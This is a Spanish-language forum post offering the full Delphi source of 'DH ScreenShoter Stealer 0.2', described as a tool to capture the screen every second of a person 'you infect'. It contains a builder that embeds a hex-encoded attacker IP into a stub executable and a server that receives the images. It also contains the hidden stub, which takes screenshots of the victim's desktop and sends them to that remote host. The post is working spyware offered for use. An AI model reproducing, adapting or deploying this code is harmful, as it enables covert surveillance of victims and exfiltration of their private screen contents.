Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.
Una imagen.
![]()
Los codigos.
El generador.
El servidor.
Si lo quieren bajar lo pueden hacer de aca.
Una imagen.

Los codigos.
El generador.
Código:
// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
unit screen;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
sEdit;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
ServerSocket2: TServerSocket;
Timer1: TTimer;
Timer2: TTimer;
sSkinManager1: TsSkinManager;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sTabSheet2: TsTabSheet;
sTabSheet3: TsTabSheet;
sTabSheet4: TsTabSheet;
sStatusBar1: TsStatusBar;
sGroupBox1: TsGroupBox;
Image1: TImage;
sGroupBox2: TsGroupBox;
sGroupBox3: TsGroupBox;
sGroupBox4: TsGroupBox;
sRadioButton1: TsRadioButton;
sRadioButton2: TsRadioButton;
sGroupBox5: TsGroupBox;
sButton1: TsButton;
Image2: TImage;
sLabel1: TsLabel;
sGroupBox6: TsGroupBox;
sEdit1: TsEdit;
sButton2: TsButton;
sGroupBox7: TsGroupBox;
sButton3: TsButton;
Image3: TImage;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket2ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure sButton2Click(Sender: TObject);
procedure sButton3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
conexion: TFileStream;
control: integer;
public
{ Public declarations }
end;
var
Form1: TForm1;
cantidad: string;
implementation
uses fullscreen;
{$R *.dfm}
// Functions
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure achicar(archivo, medir1, medir2: string);
// Credits :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com
var
bit3: Double;
bit2: TJpegImage;
bit1: TBitmap;
begin
try
begin
bit2 := TJpegImage.Create;
bit2.Loadfromfile(archivo);
if bit2.Height > bit2.Width then
begin
bit3 := StrToInt(medir1) / bit2.Height
end
else
begin
bit3 := StrToInt(medir2) / bit2.Width;
end;
bit1 := TBitmap.Create;
bit1.Width := Round(bit2.Width * bit3);
bit1.Height := Round(bit2.Height * bit3);
bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
bit2.Assign(bit1);
bit2.SaveToFile(archivo);
end;
except
//
end;
end;
//
procedure TForm1.FormCreate(Sender: TObject);
begin
sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
sSkinManager1.SkinName := 'garnet';
sSkinManager1.Active := True;
end;
procedure TForm1.sButton1Click(Sender: TObject);
begin
try
begin
ServerSocket1.Open;
sStatusBar1.Panels[0].Text := '[+] Online';
Form1.sStatusBar1.Update;
end;
except
begin
sStatusBar1.Panels[0].Text := '[-] Error';
Form1.sStatusBar1.Update;
end;
end;
end;
procedure TForm1.sButton2Click(Sender: TObject);
begin
try
begin
ServerSocket1.Close;
sStatusBar1.Panels[0].Text := '[+] OffLine';
Form1.sStatusBar1.Update;
end;
except
begin
sStatusBar1.Panels[0].Text := '[-] Error';
Form1.sStatusBar1.Update;
end;
end;
end;
procedure TForm1.sButton3Click(Sender: TObject);
var
aca: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
stubgenerado: string;
lineafinal: string;
linea: string;
begin
aca := INVALID_HANDLE_VALUE;
nose := 0;
stubgenerado := 'stealer_ready.exe';
linea := '[ip]' + sEdit1.Text + '[ip]';
lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName)
+ '/' + 'Data/servernow.exe'), PChar
(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
StrCopy(code, PChar(lineafinal));
aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
nil, OPEN_EXISTING, 0, 0);
if (aca <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(aca, 0, nil, FILE_END);
WriteFile(aca, code, 9999, nose, nil);
CloseHandle(aca);
end;
sStatusBar1.Panels[0].Text := '[+] Done';
Form1.sStatusBar1.Update;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
contenido: string;
begin
contenido := Socket.ReceiveText;
if (Pos('0x3archivo', contenido) > 0) then
begin
conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
fmCREATE or fmOPENWRITE and fmsharedenywrite);
ServerSocket2.Open;
end
else
begin
if (Pos('0x3acantid', contenido) > 0) then
begin
cantidad := Copy(contenido, 11, length(contenido));
end;
end;
end;
procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
data: array [0 .. 9999] of Char;
otracantidad: integer;
begin
Timer1.Enabled := True;
while Socket.ReceiveLength > 0 do
begin
otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
if otracantidad <= 0 then
begin
Break;
end
else
begin
conexion.Write(data, otracantidad);
end;
if conexion.Size >= StrToInt(cantidad) then
begin
conexion.Free;
Timer1.Enabled := False;
control := 0;
Break;
end;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
control := 1;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
begin
if ServerSocket1.Active = True then
begin
if FileExists('screen.jpg') then
begin
if (sRadioButton1.Checked) then
begin
achicar('screen.jpg', '400', '400');
Image1.Picture.Loadfromfile('screen.jpg');
end
else
begin
Form2.Show;
achicar('screen.jpg', '1000', '1000');
Form2.Image1.Picture.Loadfromfile('screen.jpg');
end;
end;
end;
end;
except
//
end;
end;
end.
// The End ?
Código:
// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion
unit server;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
ClientSocket2: TClientSocket;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
target: string;
implementation
{$R *.dfm}
// Functions
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure capturar(nombre: string);
var
imagen2: TJpegImage;
imagen1: TBitmap;
aca: HDC;
begin
aca := GetWindowDC(GetDesktopWindow);
imagen1 := TBitmap.Create;
imagen1.PixelFormat := pf24bit;
imagen1.Height := Screen.Height;
imagen1.Width := Screen.Width;
BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
SRCCOPY);
imagen2 := TJpegImage.Create;
imagen2.Assign(imagen1);
imagen2.CompressionQuality := 60;
imagen2.SaveToFile(nombre);
end;
//
procedure TForm1.FormCreate(Sender: TObject);
var
ob: THandle;
code: Array [0 .. 9999 + 1] of Char;
nose: DWORD;
todo: string;
begin
Application.ShowMainForm := False;
ob := INVALID_HANDLE_VALUE;
code := '';
ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, 0, 0);
if (ob <> INVALID_HANDLE_VALUE) then
begin
SetFilePointer(ob, -9999, nil, FILE_END);
ReadFile(ob, code, 9999, nose, nil);
CloseHandle(ob);
end;
todo := regex(code, '[63686175]', '[63686175]');
todo := dhencode(todo, 'decode');
target := regex(todo, '[ip]', '[ip]');
try
begin
ClientSocket1.Address := target;
ClientSocket1.Open;
end;
except
//
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
archivo: string;
envio: TFileStream;
dir: string;
begin
try
begin
if ClientSocket1.Active = True then
begin
dir := GetEnvironmentVariable('USERPROFILE') + '\';
chdir(dir);
if (FileExists('screen.jpg')) then
begin
DeleteFile('screen.jpg');
end;
capturar('screen.jpg');
archivo := dir + 'screen.jpg';
try
begin
ClientSocket1.Socket.SendText
('0x3archivo' + ExtractFileName(archivo));
envio := TFileStream.Create(archivo, fmopenread);
sleep(500);
ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));
envio.Free;
ClientSocket2.Address := target;
ClientSocket2.Open;
ClientSocket2.Socket.SendStream
(TFileStream.Create(archivo, fmopenread));
end;
except
//
end;
end;
end;
except
//
end;
end;
end.
// The End ?